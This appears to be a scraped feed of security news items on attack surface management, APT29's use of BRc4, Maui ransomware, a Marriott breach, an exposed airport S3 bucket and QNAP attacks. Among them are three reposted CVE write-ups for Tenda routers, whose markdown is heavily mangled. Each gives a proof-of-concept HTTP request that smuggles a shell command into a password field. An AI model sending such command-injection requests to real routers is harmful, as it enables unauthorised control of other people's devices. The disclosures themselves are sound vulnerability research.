By Waqas
External Attack Surface Management (EASM) is a cybersecurity tool that uncovers leaked data and shadow IT that hackers…
This is a post from HackRead.com Read the original post: What Makes External Attack Surface Management Essential?

Digital or external attack surface has become a growing concern for cybersecurity teams. In addition to patching up vulnerabilities within internal infrastructures, a major gap in security could lurk behind those internet-facing assets.

In fact, cybercriminals can gather a lot of information while scouring the web with a simple Google search. If they scratch even deeper, they can discover leaked data and passwords that open the gateway leading them into organizations.

All of this easily available information puts systems at risk because it can be exploited by hackers. In other words, it becomes the part of the external attack surface that can be targeted by threat actors at any time.

Therefore, an important part of cybersecurity is the management of external access points to organizations and their networks.

**What is External Attack Surface Management?**

External Attack Surface Management maps the surface that is likely to have vulnerabilities, scans it all the time, and weeds out issues or anomalies before they can benefit cybercriminals.

Essentially, EASM boils down to finding vulnerabilities that hackers could use to compromise infrastructures from the outside and removing them before they’re discovered. This tool addresses a challenge that most organizations face today — how to retain an overview of information at all times, especially intelligence available outside the system.

Keeping track of what data is available to whom and whether there is leaked corporate intelligence that could be used by hackers to breach systems requires a lot of legwork. Therefore, most IT teams rely on tools that use AI and continually work towards finding the signs of already misused credentials.

With an attack surface that’s continually changing and growing with every new data leak or social media update, EASM doesn’t allow company assets to become liabilities.

**What Could Hackers Find with an Online Search?**

Cybercriminals seek readily available data on the internet before applying any hacking techniques. Threat actors are interested in: 

*   Social media activity
*   Leaked passwords and emails
*   Personal information (name, surname, address, credit card numbers, etc.)

In the hands of criminals, personal information can lead to identity theft or financial fraud. In the worst-case scenarios, they can imitate the targeted individual and drain their bank accounts, ruin their reputation, or spread false information.

Many of the most recent hacking attacks include social engineering. This means getting to know a person and sending a targeted email with an infected link or even imitating various authorities such as government institutions or a CEO.

Social media and information that’s shared there can lead to a successful cyberattack or a scam. For example, platforms such as LinkedIn and Facebook or official sites of a business can easily reveal the hierarchy within a company and give criminals an angle on how to approach their victims.

Hacking forums, data dumps, and the dark web are other resources that threat actors use to find the weak spots of a company’s security — or lack thereof. They can contain emails or passwords that lead the criminal into organizations, even if the scammer has little to no technical knowledge.

**What Does Managing Your Attack Surface Include?**

An attack surface can be managed in three steps:

1.  Mitigation of flaws within the system
2.  Discovery of any anomalies and high-risk threats
3.  Data analysis of the activity within internal and external attack surface

**The first step is scanning** for information or activity that could lead to major incidents such as a breached system, ransom notes, or stealing sensitive data. 

High risk is anything that is likely to escalate in a major incident, used by hackers to either gain direct access to the organization or to conduct a cyberattack.

Besides seeking data, discovery phases also determine whether there are any signs of unauthorized access to the infrastructure.

**The second step is an analysis** of the attack surface. The surface is compared with its previous state to determine if there are any anomalies or signs of high-risk vulnerabilities that need patching up.

A generated report based on said analysis highlights any high-risk flaws and makes the jobs of IT teams much easier. Otherwise, they would get alerted of any vulnerabilities and possibly discard them as false positives.

**The final step is to mitigate** the flaws that are likely to result in criminal activity. The documentation of the analysis, along with the high-risk vulnerability report also suggests ways to patch up weaknesses and strengthen security.

The three steps are automated and have to be repeated continuously to be effective. What’s more, it’s important that the tool is updated to be able to discover whether there are flaws that can be exploited with the new hacking methods.

MITRE ATT&CK Framework is the resource that is used to ensure that the tool is up-to-date with the latest cyber techniques. The framework is a library that describes new methods that are likely to be detrimental to organizations.

**Wider Understanding of the Attack Surface**

External Attack Surface Management helps IT teams discover if there is any data or access points that could lead the threat actors straight into the infrastructures. It does so the same way hackers would, by considering any possible vulnerability and investigating the external attack surface.

Including external surface attack management in your regular cybersecurity hygiene is necessary. It gives IT teams a comprehensive image of the entire infrastructure, without overlooking its major part.

Having data under control is a major part of external surface attack management because leaked shadow IT or corporate intelligence can be used by threat actors to breach systems.

To patch up flaws early (before hackers discover them), continually scan the attack surface for possible leaked information, analyze the findings, and mitigate threats before they can turn into a serious incident.

**More Security Topics**

1.  Network Pentesting Checklist
2.  Key Features Of Threat Intelligence Platforms
3.  How SAST Will Improve Your Overall Security: Intro
4.  10 Application Security Best Practices To Follow In 2022
5.  SaaS Security Guide: How to Protect Your SaaS Business

What Makes External Attack Surface Management Essential?

By Deeba Ahmed
Palo Alto Networks’ Unit 42 security researchers have discovered that Russian state-sponsored hackers are abusing the latest Brute…
This is a post from HackRead.com Read the original post: Russia Hackers Abusing BRc4 Red Team Penetration Tool in Recent Attacks

Palo Alto Networks’ Unit 42 security researchers have discovered that Russian state-sponsored hackers are abusing the latest Brute Ratel C4 or BRc4 attack simulation/penetration testing tool in their recent and active attacks.

**Hackers Using BRc4 to Evade Detection?**

Unit 42 threat intelligent experts wrote in their report that the malicious payload linked with the BRc4 tool allows it to evade detection by most commonly used security products. Moreover, researchers believe that hackers are targeting entities worldwide, but primarily their targets are located in South and North America.

In a warning issued by the researchers, they have urged the cybersecurity fraternity to look for signs of malware, including the BRc4 tool. Researchers dubbed it a “uniquely dangerous” tool designed to avoid detection by EDR (endpoint detection and response) and AV (antivirus) scanners.

**How was The Abuse Detected?**

According to Palo Alto Networks’ researchers, someone uploaded a document to the VirusTotal website for inspection in May 2022. This document included a BRc4-associated payload. Surprisingly, 56 of VirusTotal scanners couldn’t recognize the malware, after which it was assigned Benign status. 

**Possible Perpetrator?**

Researchers identified that the malicious payload’s packaging hinted at the involvement of the APT29 group (Advanced Persistent Threat group 29) The Dukes or Cozy Bear as the deployed tactics were similar to this group. CozyBear is a Russian state-sponsored hacker group. Previously it was involved in the devastating Solar Winds attacks in 2020.

**What is BRc4 Tool, and What are its Capabilities?**

Dark Vortex sells this penetration testing tool. It is similar to the commercially available, legit Cobalt Strike attack simulation tool, which IT departments mainly use in testing defenses and staff training.

Previously, attackers used illegal versions of Cobalt Strike for scanning victims in their attacks, and now they are abusing BRc4. This tool has been used since 2020, mainly by Indian security engineer Chetan Nayak (aka Paranoid Ninja) who used to work for red teams at mainstream western security vendors.

However, the product was recently commercialized. Nayak explained that this tool was designed for reverse-engineering major security products. But Unit42 researchers claim it is a relatively new tool that boasts similar capabilities as Cobalt Strike. Once installed, BRc4 can capture screenshots, create Windows system services, patch AMSI, and upload/download documents.

**Attack Delivery Mechanism**

The malicious, self-contained, and benign ISO file is included in the primary lure file, which is a Windows shortcut file (LNK) disguised as an MS Word file, complete with the fake Word icon. The file is sent to the target via spear-phishing, or the victim downloads it by a second-stage downloader.

An analysis of the files shows it appears to be a CV for someone named Roshan Bandara, but this is actually the main malicious file. This file appears on the user’s hard drive after double-clicking, and when the lure file is clicked, it installs the BRc4.

Researchers discovered 41 malicious IP addresses, 9 BRc4 samples, and three impacted organizations.

> “While we lack insight into how this particular payload was delivered to a target environment, we observed connection attempts to the C2 server originating from three Sri Lankan IP addresses between May 19-20.”
> 
> Unit 42

**More Russian Hackers Topic**

*   Russian language hacking forums warming up to Chinese hackers
*   Pro-Russia Killnet Group Hit Top Lithuanian websites with DDoS Attacks
*   BlackGuard Password Stealing Malware Sold on Russian Hacking Forums
*   New Russian Android Malware Tracks GPS Location and Spies on Victims
*   Feds Dismantle Russian Rsocks Botnet Powered by Millions of IoT Devices

Russia Hackers Abusing BRc4 Red Team Penetration Tool in Recent Attacks

US government warns healthcare and public-health organizations to expect continued attacks involving the manually operated "Maui" ransomware.

The FBI, US Cybersecurity and Infrastructure Security Agency (CISA), and the Treasury Department on Wednesday warned about North Korean state-sponsored threat actors targeting organizations in the US healthcare and public-health sectors. The attacks are being carried out with a somewhat unusual, manually operated new ransomware tool called "Maui."

Since May 2021, there have been multiple incidents where threat actors operating the malware have encrypted servers responsible for critical healthcare services, including diagnostic services, electronic health records servers, and imaging servers at organizations in the targeted sectors. In some instances, the Maui attacks disrupted services at the victim organizations for a prolonged period, the three agencies said in an advisory.

"The North Korean state-sponsored cyber actors likely assume healthcare organizations are willing to pay ransoms because these organizations provide services that are critical to human life and health,” according to the advisory. “Because of this assumption, the FBI, CISA, and Treasury assess North Korean state-sponsored actors are likely to continue targeting \[healthcare and public health\] Sector organizations."

**Designed for Manual Operation**

In a technical analysis on July 6, security firm Stairwell described Maui as ransomware that is notable for lacking features that are commonly present in other ransomware tools. Maui, for instance, does not have the usual embedded ransomware note with information for victims on how to recover their data. It also does not appear to have any built-in functionality for transmitting encryption keys to the hackers in automated fashion.

The malware instead appears designed for manual execution, where a remote attacker interacts with Maui via the command line interface and instructs it to encrypt selected files on the infected machine and exfiltrate the keys back to the attacker. 

Stairwell said its researchers observed Maui encrypting files using a combination of the AES, RSA, and XOR encryption schemes. Each selected file is first encrypted using AES with a unique 16-byte key. Maui then encrypts each resulting AES key with RSA encryption, and then encrypts the RSA public key with XOR. The RSA private key is encoded using a public key embedded in the malware itself.

Silas Cutler, principal reverse engineer at Stairwell, says the design of Maui's file-encryption workflow is fairly consistent with other modern ransomware families. What's really different is the absence of a ransom note. 

"The lack of an embedded ransom note with recovery instructions is a key missing attribute that sets it apart from other ransomware families," Cutler says. "Ransom notes have become calling cards for some of the large ransomware groups \[and are\] sometimes emblazoned with their own branding." He says Stairwell is still investigating how the threat actor is communicating with victims and exactly what demands are being made.

Security researchers say there are several reasons why the threat actor might have decided to go the manual route with Maui. Tim McGuffin, director of adversarial engineering at Lares Consulting, says manually operated malware has a better chance of evading modern endpoint protection tools and canary files compared with automated, systemwide ransomware. 

"By targeting specific files, the attackers get to choose what is sensitive and what to exfiltrate in a much more tactical fashion when compared to a 'spray-and-pray' ransomware," McGuffin says. "This 100% provides a stealth and surgical approach to ransomware, preventing defenders from alerting on automated ransomware, and making it more difficult to use timing or behavior-based approaches to detection or response.”

From a technical standpoint, Maui doesn't utilize any sophisticated means to evade detection, Cutler says. What could make it additionally problematic for detection is its low profile.

"The lack of the common ransomware theatrics — \[such as\] ransom notes \[and\] changing user backgrounds — may result in users not being immediately aware that their files have been encrypted," he says.

**Is Maui a Red Herring?**

Aaron Turner, CTO at Vectra, says the threat actor's use of Maui in a manual and selective manner could be an indication that there are other motives behind the campaign than just financial gain. If North Korea really is sponsoring these attacks, it is conceivable that ransomware is only an afterthought and that the real motives lie elsewhere. 

Specifically, it's most likely a combination of intellectual property theft or industrial espionage combined with opportunistic monetization of attacks with ransomware.

"In my opinion, this use of operator-driven selective encryption is most likely an indicator that the Maui campaign is not just a ransomware activity," Turner says.

The operators of Maui certainly would not be the first by far to use ransomware as cover for IP theft and other activities. The most recent example of another attacker doing the same is China-based Bronze Starlight, which according to Secureworks appears to be using ransomware as cover for extensive government-sponsored IP theft and cyber espionage.

Researchers say that in order to protect themselves, healthcare organizations should invest in a solid backup strategy. The strategy must include frequent, at least monthly, recovery testing to ensure the backups are viable, according to Avishai Avivi, CISO at SafeBreach

"Healthcare organizations should also take all precautions to segment their networks and isolate environments to prevent the lateral spread of ransomware," Avivi notes in an email. "These basic cyber-hygiene steps are a much better route for organizations preparing for a ransomware attack \[than stockpiling Bitcoins to pay a ransom\]. We still see organizations fail to take the basic steps mentioned. … This, unfortunately, means that when (not if) ransomware makes it past their security controls, they will not have a proper backup, and the malicious software will be able to spread laterally through the organization's networks."

Stairwell also has released YARA rules and tools that others can use to develop detections for the Maui ransomware.

North Korean State Actors Deploy Surgical Ransomware in Ongoing Cyberattacks on US Healthcare Orgs

The hospitality giant said data from 300-400 individuals was compromised by a social-engineering scam targeting the Baltimore airport.

Marriott International has acknowledged yet another data breach, this time impacting between 300 and 400 individuals.

Marriott told Dark Reading that it was a social-engineering scam that was able to trick a single hotel employee into turning over credentials for computer access. Now, the attackers want extortion money. The hotel chain added that it's preparing to notify people who were compromised.

DataBreaches.net was first to report on the latest Marriott compromise after the outlet said the threat actors contacted it to boast about the breach. The report said the Marriott attackers specifically targeted the Marriott at the BWI airport in Baltimore, Md., and were able to exfiltrate 20 GBs of data, including credit card details.

"The threat actor did not gain access to Marriott's core network," a Marriott spokesperson said in a statement to Dark Reading. "Our investigation determined that the information accessed primarily contained non-sensitive internal business files regarding the operation of the property."

The spokesperson added that the company was already aware of the incident and investigating before the attacker contacted Marriott with payment demands. Marriott refused to pay and is working with law enforcement, the person said.

According to the DataBreaches.net report, some of the information exposed included personal identifiable information (PII) for flight crews staying at BWI, including names, flight numbers and times, employment position, room number, and the credit card used for booking.

**Attack Follows Massive Marriott Breach in 2020**

This latest incident pales in comparison to the 2020 Marriott breach that exposed the PII of more than 5.2 million members of the hotel chain's loyalty program. But it illustrates how vulnerable organizations can be to follow-on attacks after an initial compromise, according to Jack Chapman, vice president of threat intelligence at Egress.

"As this latest data breach demonstrates, organizations that are victims of previous attacks are more likely to be targeted in the future," Chapman said in an email to Dark Reading. "Social engineering is a highly effective tool, and cybercriminals know that an organization's people are its biggest vulnerability — which is why they return to this technique again and again."

The results are undeniable: social engineering works.

"A primary mechanism being used by adversaries is social engineering," Saryu Nayyar, CEO and founder of Gurucul, explained via email. "It's simple and effective. And it means that initial compromise is dependent on human behaviors and is therefore impossible to prevent 100% of the time. All it takes is one successful compromise to circumvent most preventive controls."

Finding and securing the organization's most valuable data is a good first step to protecting against these increasingly common social engineering schemes, James McQuiggan, a security awareness advocate at KnowBe4, says.

"Too often, in data breaches, it is discovered that users have access to more data required to do their tasks effectively, and it is only found after the breach when it's on the Dark Web being copied around that the user did not need it," McQuiggan adds. "Any sensitive data, like names, emails, or other personnel data like HR reviews, are to be protected with multifactor authentication to increase the protection and reduce the risk of an attacker having easy access."

Marriott Data Breach Exposes PII, Credit Cards

Tenda AX1803 v1.0.0.1_2890 was discovered to contain a command injection vulnerability via the function setipv6status.

#_**\* Tenda ax1803 has a command injection vulnerability\***_

##\* \* \* \\ \* overview\*\*\*\*

• \*\*\*\*\* type \\ \*\*\*\*: command injection vulnerability

• \* \* \* \\ \* supplier \\ \* \* \* \*: Tengda（ https://tenda.com.cn ）

• \*\*\*\*\* product \*\*\*\*: WiFi router ax1803

• _**\*Firmware download address：\***_ https://www.tenda.com.cn/download/detail-3225.html

• \*\*\*\*Firmware download address：\*\*\*\*https://down.tenda.com.cn/uploadfile/AX1803/US\_AX1803v2.1br\_v1.0.0.1\_2890\_CN\_ZGYD01.zip

Tendaax1803 router adopts WiFi 6 (802.11ax) technology, and the dual band concurrency rate is up to 1775mbps (2.4ghz:574mbps, 5ghz:1201mbps). Compared with the ac1200 router of the previous generation WiFi 5 standard, the wireless rate is increased by 50% and the transmission distance is longer; Equipped with 1.5GHz high-performance quad core processor, the network load capacity is comprehensively improved, data forwarding is faster, and long-term operation is more stable; Using ofdma+mu-mimo technology, more devices can access the Internet at the same time, the transmission efficiency is significantly improved, the delay is significantly reduced, and the online games and ultra clear videos for multiple people are more fluent. It is the first choice for building a multimedia home network! Command Execution Vulnerability in setipv6status

##\* \* \* \\ \* description\*\*\*\*

###_**\* I. product information:\***_

Overview of the latest version of Tenda ax1803 router simulation:

\### _**\*2. Vulnerability details\***_

Tenda ax1803 is found to have a command injection vulnerability in the setipv6status function

When we set connect type = ' PPPoE ', we will get a command injection vulnerability after logging in.

\## _**\*3. Recurring vulnerabilities and POCS\***_

To reproduce the vulnerability, the following steps can be followed:

Start firmware through QEMU system or other methods (real machine)

Attack with the following POC attacks

Note to replace the password field in the cookie

    POST /goform/setIPv6Status HTTP/1.1
    Host: 192.168.2.1
    Connection: close
    Content-Length: 191
    sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="98", "Google Chrome";v="98"
    Accept: */*
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    sec-ch-ua-mobile: ?0
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.109 Safari/537.36
    sec-ch-ua-platform: "macOS"
    Origin: https://192.168.2.1
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: https://192.168.2.1/main.html
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: password=edeff4d6d98974e46457a587e2e724a2ndy5gk
    
    IPv6En=1&conType=PPPoE&ISPusername=addasdas&ISPpassword=$(ls > /tmp/xxx)&prefixDelegate=0&wanAddr=%2F&gateWay=&lanType=undefined&wanPreDNS=&wanAltDNS=&lanPrefix=undefined%2F64

CVE-2022-34595: IOT_Vul/readme_en.md at main · zhefox/IOT_Vul

Tenda AX1806 v1.0.0.1 was discovered to contain a command injection vulnerability via the function WanParameterSetting.

**\*\*\* Command Injection Vulnerability in Tenda AX1806 \*\*****_**\*Overview\***_**

*   _**\*Type\***_: Command Injection Vulnerability
    
*   _**\*Supplier\***_: Tenda ( https://tenda.com.cn )
    
*   \*\*\*Product\*\*: WiFi router AX1806
    
*   Firmware download address: \*\*\*\* https://www.tenda.com.cn/download/detail-3306.html
    
*   Firmware download address: \*\*\*\* https://down.tenda.com.cn/uploadfile/AX1806/US\_AX1806V21brv1001cn2988ZGDX01.zip
    

Tenda AX1806 uses a new generation of WIFI6 (802.11ax) technology, and combines higher number of subcarriers and 1024QAM modulation technology. Compared with wifi-5 routers, dual-band wireless internet access rate is greatly improved. WanParameterSetting has a Command Execution Vulnerability

**_**\*Description\***_****\*_**1, Product Information:\***_**

Overview of the latest version of Tenda AX1806 router simulation:

\### \*_**2\. Vulnerability Details\***_

Tenda AX1806 was found to have a command injection vulnerability in the WanParameterSetting function

The non-zero is true, and when we change the adslPwd parameter, we get a command injection vulnerability after setting it.

**_**\*3. Recurring loopholes and POC\***_**

To reproduce the vulnerability, the following steps can be followed:

Start firmware (real machine) via qemu-system or other means

Attack using the following POC attacks

Note the replacement of password fields in cookies

    POST /goform/WanParameterSetting?0.8762489734485668 HTTP/1.1
    Host: i92.168.68.150
    Connection: close
    Content-Length: 191
    sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="98", "Google Chrome";v="98"
    Accept: */*
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    sec-ch-ua-mobile: ?0
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.109 Safari/537.36
    sec-ch-ua-platform: "macOS"
    Origin: https://i92.168.68.150
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: https://192.168.2.1/main.html
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: password=edeff4d6d98974e46457a587e2e724a2ndy5gk
    
    wanType=2&adslUser=aaaa&adslPwd=$(ls > /tmp/xxx)&vpnServer=&vpnUser=&vpnPwd=&vpnWanType=l&dnsAuto=1&staticIp=&mask=&gateway=&dnsl=&dns2=&module=wanl&downSpeedLimit=

CVE-2022-34597: IOT_Vul/readme_en.md at main · zhefox/IOT_Vul

Tenda AX1803 v1.0.0.1_2890 was discovered to contain a command injection vulnerability via the function WanParameterSetting.

#_**\* Tenda ax1803 has a command injection vulnerability\***_

##\* \* \* \\ \* overview\*\*\*\*

• \*\*\*\*\* type \\ \*\*\*\*: command injection vulnerability

• \* \* \* \\ \* supplier \\ \* \* \* \*: Tenda（ https://tenda.com.cn ）

• \*\*\*\*\* product \*\*\*\*: WiFi router ax1803

• _**\* firmware download address:\***_ https://www.tenda.com.cn/download/detail-3225.html

• _**\* firmware download address:\***_ https://down.tenda.com.cn/uploadfile/AX1803/US\_AX1803v2.1br\_v1.0.0.1\_2890\_CN\_ZGYD01.zip

Tendaax1803 router adopts WiFi 6 (802.11ax) technology, and the dual band concurrency rate is up to 1775mbps (2.4ghz:574mbps, 5ghz:1201mbps). Compared with the ac1200 router of the previous generation WiFi 5 standard, the wireless rate is increased by 50% and the transmission distance is longer; Equipped with 1.5GHz high-performance quad core processor, the network load capacity is comprehensively improved, data forwarding is faster, and long-term operation is more stable; Using ofdma+mu-mimo technology, more devices can access the Internet at the same time, the transmission efficiency is significantly improved, the delay is significantly reduced, and the online games and ultra clear videos for multiple people are more fluent. It is the first choice for building a multimedia home network! Command Execution Vulnerability in wanparametersetting

**_**\*Description\***_****\*_**1, Product Information:\***_**

Overview of the latest version of simulation for Tenda AX1803 router:

**\*_**2\. Vulnerability Details\***_**

Tenda AX1803 was found to have a command injection vulnerability in the WanParameterSetting function

The non-zero is true, and when we change the adslPwd parameter, we get a command injection vulnerability after setting it.

\## _**\*3. Recurring loopholes and POC\***_

To reproduce the vulnerability, the following steps can be followed:

Start firmware (real machine) via qemu-system or other means

Attack using the following POC attacks

Note the replacement of password fields in cookies

    POST /goform/WanParameterSetting?0.8762489734485668 HTTP/1.1
    Host: i92.168.68.150
    Connection: close
    Content-Length: 191
    sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="98", "Google Chrome";v="98"
    Accept: */*
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    sec-ch-ua-mobile: ?0
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.109 Safari/537.36
    sec-ch-ua-platform: "macOS"
    Origin: https://i92.168.68.150
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: https://192.168.2.1/main.html
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: password=edeff4d6d98974e46457a587e2e724a2ndy5gk
    
    wanType=2&adslUser=aaaa&adslPwd=$(ls > /tmp/xxx)&vpnServer=&vpnUser=&vpnPwd=&vpnWanType=l&dnsAuto=1&staticIp=&mask=&gateway=&dnsl=&dns2=&module=wanl&downSpeedLimit=

CVE-2022-34596: IOT_Vul/readme_en.md at main · zhefox/IOT_Vul

The unsecured server exposed more than 1.5 million files, including airport worker ID photos and other PII, highlighting the ongoing cloud-security challenges worldwide.

A misconfigured Amazon S3 bucket resulted in 3TB of airport data (more than 1.5 million files) being publicly accessible, open, and without an authentication requirement for access, highlighting the dangers of unsecured cloud infrastructure within the travel sector.

The exposed information, uncovered by Skyhigh Security, includes employee personal identification information (PII) and other sensitive company data affecting at least four airports in Colombia and Peru.

The PII ranged from photos of airline employees and national ID cards — which could present a serious threat if leveraged by terrorist groups or criminal organizations — to information about planes, fuel lines, and GPS map coordinates.

The bucket (now secured) contained information dating back to 2018, the report says, noting Android mobile apps also were contained within buckets, which security personnel tap to help with incident reporting and data handling.

"Airport security protects the lives of travelers and airport staff," the report explains. "As such, this breach is extremely dangerous with potentially devastating consequences should the bucket’s content end up in the wrong hands."  

As travel picks up dramatically following restrictions during the pandemic, Fortune Business Insights found that the global smart airport market size is set to be driven by the rising preference of the masses for air travel. The report also says that the expansion of commercial aviation is set to affect the market positively in the coming years, as airports increasingly turn to cloud service providers to house and process massive amounts of passenger and operational data.

Perhaps it's no wonder that travel-related organizations have been increasingly targeted of late. For instance, airlines have been the target of ransomware this year, including India's low-cost carrier SpiceJet, which weathered an attack in May that caused widespread flight delays. 

At the same time, multiple cybercrime groups have been spotted selling stolen credentials and other sensitive PII pilfered from travel-related websites and cloud databases, according to security firm Intel 471's tracking.

**Cloud Security Still Porous**

Back in 2019, Gartner stated that "90% of organizations that fail to control public cloud use will inappropriately share sensitive data." And that worry continues today: A recent IDC survey of CISOs in the US found that 80% of respondents are not able to identify excessive access to sensitive data in cloud production environments.

"Unfortunately, news headlines like these highlight examples of a data breach due to a simple, but harmful misconfiguration: an unsecured, exposed cloud storage service," according to Skyhigh's analysis. "Complexities around identity management, access permissions, secure configurations, data protection, and so much more, continuously result in poor cloud security hygiene and ultimately, data exposures."

And indeed, there has been no shortage of cloud security incidents recently — with misconfigurations leading the way. Cybercrime goals in subverting open databases can go beyond data pilfering, it should be noted, as shown by the recent discovery of Denonia, a Go-language-based cryptominer malware. It's designed to exploit AWS Lambda, the serverless function execution service.

Also, vulnerabilities in cloud products and services have become a growing concern for organizations, with a Linux container-escape flaw in Microsoft's Azure Service Fabric among the latest vulnerabilities disclosed.

The good news? One potential cloud security resource was recently established by security researchers at Wiz in the form of a community-based database — cloudvulndb.org — which currently lists some 70 cloud security issues and vulnerabilities.

**How to Protect Against Cloud Threats**

A recent survey of 500 security practitioners and 200 executives, conducted by cloud automation firm Lacework, indicated organizations must change the way they're securing cloud infrastructure and services.

Skyhigh’s report notes increasing read/write privileges are often the go-to for further strengthening cloud security. However, "in reality it will take far more than that; thanks to the extensive manners by which cloud storages can be accessed and misused," the report states.

So, other measures that the firm said should be implemented include: 

*   Enable automatic scanning for vulnerable storage across AWS S3 buckets and Azure Blobs.
*   Use continuous configuration audits for IaaS accounts and services to enforce consistent protection.
*   Enforce compliance checks against industry best practices to maintain secure postures.
*   Run data loss prevention and malware scans to detect violations in cloud-storage services and protect sensitive data from being exfiltrated.
*   Put measures in place to detect insider threats as well as threats from compromised accounts and privileged-access misuse.
*   And apply automatic remediation to take appropriate action against misconfigurations, vulnerabilities, and exposures.

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Our roundtable of cybersecurity experts weighs in on what makes QNAP network-attached storage catnip for attackers, and what organizations can do about it.

QNAP has had a rough run of it lately on the cybersecurity front, with cybercrime groups continually targeting known vulnerabilities in its network-attached storage (NAS) devices and serious vulnerabilities coming to light several times already in 2022.

QNAP offerings and other NAS options provide centralized, shared file storage that can be accessed by multiple users and client devices on a local area network (LAN). They also offer a popular alternative to cloud backups and storage for smaller companies — and tend to house treasure troves of data.

According to Shodan, there are almost 300,000 QNAP devices directly connected to the Internet. And — to put it simply — attackers appreciate the large population.

Given this, attackers see NAS customers as a golden opportunity, according to a Dark Reading roundtable of security professionals, as evidenced by a bonanza of recent QNAP-related cyberattack activity.

**Unpatched QNAP Customers Face Ongoing Cyberattack Frenzy**

The multilevel-extortion threat known as the Deadbolt ransomware, in particular, is beating up on QNAP customers. Just last month, for example, the company flagged a new Deadbolt campaign going after its hardware — the second spate of such attacks in the past few weeks.

Other cybercrime groups are also taking aim at vulnerable devices: Earlier this year, QNAP was targeted by a wave of attacks using a new ransomware strain called eCh0raix.

Ransomware gangs are usually looking to exploit known bugs, such as critical flaws disclosed in April in Netatalk that affect QNAP and Synology firmware (CVE-2022-0194; CVE-2022-23122; CVE-2022-23125). These, which remain unpatched on certain NAS devices, allow remote code execution (RCE).

Another exploitable (but patched) flaw is a cross-site request forgery (CSRF) vulnerability (CVE-2021-34360) disclosed earlier this year in QNAP NAS devices running Proxy Server, which allows remote code injection.

It's worth noting that more sophisticated threats have options to pivot deeper into the network at patch-avoiding organizations as well: In March, the Taiwan-based QNAP said that its devices contained the severe Linux kernel vulnerability known as "Dirty Pipe," which is a privilege-escalation flaw that was deemed serious enough to warrant an alert from the US Cybersecurity and Infrastructure Security Agency (CISA). Of course, QNAP isn't alone in being vulnerable to that particular bug, but it contributes to the gear's attractiveness as a target.

In all, CISA has at least 10 QNAP vulnerabilities listed as being actively exploited by adversaries in its Known Exploited Vulnerability (KEV) Catalog.

Dark Reading spoke to a slate of security researchers about why QNAP devices are in the crosshairs of so much cyber-activity, and what companies can do about it.

**Why Is QNAP Getting Targeted?**

QNAP devices are attractive to cybercriminals for a number of reasons, including the fact that QNAP storage appliances are most often utilized by small to midsize (SMBs) businesses with very small (or non-existent) IT and security teams. This often translates to a lack of manpower for installing patches, among other downsides — creating large pools of devices that are ripe for exploitation.

"Storage devices that can be a core piece of an organization's operations that are easy to exploit create a perfect storm for ransomware gangs looking to ensure a quick payout to their extortion demands," says Chris Clements, vice president of solutions architecture at Cerberus Sentinel.

Also, the main mission attackers take on when exploiting vulnerabilities is, most often than not, data gathering. Historically, NAS products have been used by companies who prefer to take the route of an on-premises storage with a need for heavy use and storage capabilities, rather than a third-party handover of sensitive data, according to Brad Hong, customer success lead at Horizon3.ai.

"Since QNAP-branded NAS are quite literally a lateral extension of the organization's brain, even sometimes serving as the sole disaster-recovery storage, and make up about 54% of the NAS market share, it's only natural that its OS is a prime target for attackers," says Hong. "Imagine being able to circumvent all the strenuous steps of the cyber kill chain across every single enterprise, and instead using one key that fits more than half of the industry — effectively, it becomes a single vulnerability that negates all relevant cyber-stacks."

**NAS Appliances a Dangerous Attack Vector — But Patching Lags**

The risks to businesses from a successful compromise are myriad, researchers note, especially since by their very nature NAS appliances are often the primary data storage medium or are responsible for housing backups. Thus, successfully encrypting a storage appliance with ransomware can mean that the victim loses not only data, but also the source of backups and thus the ability to recover.

"The successful exploitation of a QNAP device, which often serves simultaneously as the heart and backbone of an organization, is akin to walking right into a HQ and swiping all its data," Horizon3.ai's Hong explains.

Roger Grimes, data-driven defense evangelist at KnowBe4, notes that a compromise not only means that the attacker has immediate access to data, but that the threat actor can use the initial exploitation to gain further access to the victim's logon credentials and broader network environment. Thus, he says, using security fundamentals should be a must-do.

"Basically, if defenders use strong log-on credentials, keep it patched, and follow the vendor's configuration recommendations, it can be as secure as any other cyber-product," he notes. "But according to CISA's KEV reporting, only three of the 10 reported exploited vulnerabilities have occurred since 2020. Most of the exploits are from things fixed by the vendor and patched years ago."

Cerberus Sentinel's Clements points out that appliances in general can also often lag significantly behind patching cadences of desktop or server systems, because most vendors lack a centralized mechanism for scheduling and deploying fixes for serious security flaws.

"Patches need to be manually applied by administrators," he says. "And patching storage appliances can also be disruptive not only because they require reboots, during which time important data can be inaccessible to a business, but often security patches are distributed by appliance vendors as part of larger firmware updates that can alter or even remove existing functionality that an organization may depend on."

But KnowBe4's Grimes notes that a simple administrative change could help the issue.

"Most of today's QNAP devices have an automatic patching feature, but it won't automatically apply the patch and reboot without the admin's consent," he explains. "Patching and rebooting takes time and causes operational interruption to the data on the device. So, they have to ask for approval. It would benefit QNAP and really every device in the world if the vendor was allowed to patch and reboot without permission."

QNAP customers would need to accept that patching is going to happen and expect small amounts of operational interruption during the patching process, he adds, pointing out that they could even control when the automatic patching happens.

**What is QNAP's Responsibility for Customer Security?**

